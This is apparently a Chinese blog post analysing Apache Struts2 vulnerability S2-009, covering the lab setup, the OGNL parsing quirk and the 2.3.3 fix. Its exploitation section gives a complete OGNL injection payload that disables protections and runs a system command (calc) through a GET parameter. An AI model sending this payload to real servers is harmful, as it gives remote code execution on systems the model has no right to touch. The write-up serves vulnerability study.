前言
经典 Java 软件漏洞 struts 系列,准备一个个看过去。
S2-009 实际上应该是 S2-003/S2-005 的绕过。
环境搭建
2.3.1.1 版本的 struts2 + Tomcat 9,写好 Action 里面成员变量的 getter 和 setter。
漏洞利用
先回顾一下当初修复用的正则表达式:
private String acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[\\(\\)_']+";
小括号、中括号、单引号都是在白名单中的。
然后看看官方通告,可以看出问题就在于 OGNL 表达式的奇妙语法,会将这样一个白名单中的表达式:
top['foo'](0)
解析成:
(top['foo'])(0)
也就是说会把 top[‘foo’] 当作一个表达式来执行,而在上下文中,可以用 top 来访问 Action 中的成员变量,所以可以通过传递一个变量名为上面表达式、一个变量名为 Action 中 String 类型成员变量且变量值为实现命令执行的表达式,总共两个 GET 参数来实现一次攻击。
payload(需要进行 URL 编码):
password=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('calc'))(meh)&top['password'](0)=true
还有一点需要注意的是,struts2 取参之前会有个排序,所以成员变量名的首字母要在 T 前面。
漏洞分析
没什么好分析的,这个漏洞是 S2-003/S2-005 的绕过,流程也是那一套攻击流程。
漏洞修复
在 2.3.3 版本中,可以发现表达式执行中加了一个检测:
protected void setValue(String name, Map<String, Object> context, Object root, Object value, boolean evalName) throws OgnlException {
Object tree = compile(name);
if (!evalName && isEvalExpression(tree, context)) {
throw new OgnlException("Eval expression cannot be used as parameter name");
}
Ognl.setValue(tree, context, root, value);
}
具体的是检测什么语法涉及底层编译执行,就不研究了,反正就是把:
xxx[]()
这样的语法 ban 掉了。
Orz